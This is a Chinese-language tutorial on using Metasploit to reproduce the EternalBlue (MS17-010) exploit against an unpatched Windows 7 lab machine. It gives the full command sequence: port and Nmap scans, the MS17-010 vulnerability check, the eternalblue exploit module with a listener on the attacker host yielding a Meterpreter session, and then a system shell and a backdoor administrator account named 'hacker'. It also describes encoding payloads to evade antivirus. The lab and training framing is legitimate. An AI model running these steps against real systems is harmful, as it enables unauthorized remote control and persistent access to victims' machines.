Metasploit Framework(MSF)是一个强大的开源渗透测试平台,它提供了丰富的模块来协助安全研究人员进行漏洞发现、验证和利用。本文将以经典的“永恒之蓝”(MS17-010)漏洞为例,详细介绍如何使用MSF完成从信息收集到获取系统权限的全过程。

1 MSF框架核心概念
1.1 MSF简介
Metasploit框架是一个使用Ruby语言编写的模块化渗透测试工具。它为用户提供了多种交互接口,如控制台(msfconsole)、Web界面和CLI。通过控制台,测试人员可以方便地调用和管理包括攻击载荷(Payload)、利用模块(Exploit)、辅助模块(Auxiliary)等在内的所有功能,并集成如Nmap在内的第三方工具。
1.2 MSF五大模块类型
一次完整的渗透测试往往需要协同使用MSF中的不同模块:
- 辅助模块(Auxiliaries):负责执行扫描、嗅探、指纹识别等任务,不直接建立访问。
- 漏洞利用模块(Exploits):包含针对特定系统或应用安全漏洞的验证代码(POC),用于实施攻击。
- 攻击载荷模块(Payloads):成功利用漏洞后,在目标系统上执行的代码,用于建立控制或执行命令。
- 后期渗透模块(Post):在取得目标控制权后,用于进行信息搜集、权限维持等后续操作。
- 编码工具模块(Encoders):对攻击载荷进行编码,以绕过杀毒软件和入侵检测系统的查杀。
1.3 标准渗透攻击步骤
使用MSF进行渗透测试通常遵循以下流程:
- 使用辅助模块对目标进行扫描,发现开放端口和服务。
- 根据扫描结果,寻找并配置对应的漏洞利用模块。
- 为漏洞利用模块配置合适的攻击载荷。
- 根据需要,使用编码器对载荷进行处理以规避检测。
- 执行渗透攻击。
作为专业的网络安全与渗透测试工具,熟练掌握MSF是安全从业者的必备技能。
2 实验环境与目标
2.1 永恒之蓝漏洞简介
永恒之蓝(EternalBlue)是Windows SMBv1协议中的一个远程代码执行漏洞(CVE-2017-0144)。攻击者无需用户交互即可通过445端口向目标发送特制数据包,从而在系统上执行任意代码。该漏洞曾于2017年被用于传播WannaCry勒索病毒,影响范围极广。微软已发布相应安全补丁。
2.2 实验环境配置
- 攻击机:Kali Linux(预装MSF),IP:
192.168.1.128
- 靶机1:Windows 7 Professional (未打补丁),IP:
192.168.1.7
- 靶机2:Windows XP (备用), IP:
192.168.1.9
- 网络:确保所有机器在同一网段,可以互相ping通。
2.3 实验目的
- 理解MSF框架的基本结构与工作流程。
- 复现永恒之蓝漏洞的扫描、验证与利用过程。
3 MSF启动与更新
在Kali终端中,使用 msfconsole 命令即可启动MSF框架。建议在使用前更新框架,以获取最新的漏洞模块。
# 退出MSF(如果已启动)
exit
# 更新MSF框架
apt update
apt install metasploit-framework -y
# 重新启动MSF,查看版本
msfconsole
启动后,你将看到MSF的版本信息和模块统计。
4 信息收集:主机与服务扫描
信息收集是渗透测试的第一步,目标是发现目标的IP、开放端口及运行的服务。
4.1 使用MSF辅助模块进行端口扫描
MSF内置了多种扫描模块。首先搜索可用的端口扫描模块:
msf6 > search portscan
我们使用TCP全连接扫描模块:
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > show options
设置目标IP并提高扫描线程数以加速扫描:
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.1.7
msf6 auxiliary(scanner/portscan/tcp) > set THREADS 16
msf6 auxiliary(scanner/portscan/tcp) > run
扫描结果将显示目标开放的端口。关键点:如果看到445端口开放,则说明目标可能开启了SMB服务,存在被永恒之蓝攻击的潜在风险。
4.2 使用Nmap进行综合扫描
在MSF控制台内可以直接执行Nmap命令,进行更全面的探测。
msf6 > nmap -A 192.168.1.7
-A 参数启用操作系统检测、版本检测、脚本扫描和路由跟踪。从结果中可以详细看到SMB服务的版本、操作系统类型等信息,为进一步利用提供依据。
5 漏洞探测与利用
5.1 探测永恒之蓝漏洞
发现445端口开放后,需专门验证是否存在MS17-010漏洞。
# 搜索永恒之蓝相关模块
msf6 > search ms17_010
# 使用漏洞检测模块
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.1.7
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
如果输出显示 Host is likely VULNERABLE to MS17-010!,则证实漏洞存在。
5.2 利用漏洞获取控制权
确认漏洞存在后,使用对应的利用模块发起攻击。
# 使用永恒之蓝利用模块
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.7
# 设置监听主机(攻击机IP)
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.128
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
若利用成功,MSF会建立一个Meterpreter会话,你将看到 meterpreter > 提示符,这表示已获得目标系统的远程控制权。
5.3 后渗透操作:获取Shell与权限维持
在Meterpreter会话中,可以执行多种后渗透操作。
- 获取系统Shell
meterpreter > shell
这将弹出一个目标系统的命令行窗口。
- 创建后门用户
# 在得到的系统Shell中执行
C:\Windows\system32>net user hacker P@ssw0rd123! /add
C:\Windows\system32>net localgroup administrators hacker /add
上述命令创建了一个名为 hacker 的用户并将其加入管理员组。

在靶机上执行 net user 命令,确认hacker用户已成功添加。
6 总结
通过本次实战,我们完整演练了使用MSF框架进行渗透测试的经典流程:从信息收集、漏洞探测到最终利用并获取系统权限。永恒之蓝漏洞的复现深刻揭示了及时更新系统补丁的重要性。对于安全研究者而言,掌握Linux与Shell操作是熟练运用这些安全测试工具的基础。请注意,所有技术仅应用于授权的安全测试与学习环境。
